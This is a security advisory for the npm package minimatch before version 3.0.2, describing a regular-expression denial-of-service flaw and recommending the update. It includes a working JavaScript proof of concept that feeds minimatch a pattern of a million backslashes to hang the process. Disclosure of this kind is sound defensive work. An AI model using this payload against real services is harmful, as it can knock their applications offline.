| Package | Affected versions | Patched versions |
|---|---|---|
| minimatch | ≤ 3.0.1 | |
| minimatch | < 3.0.2 | 3.0.2 |
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free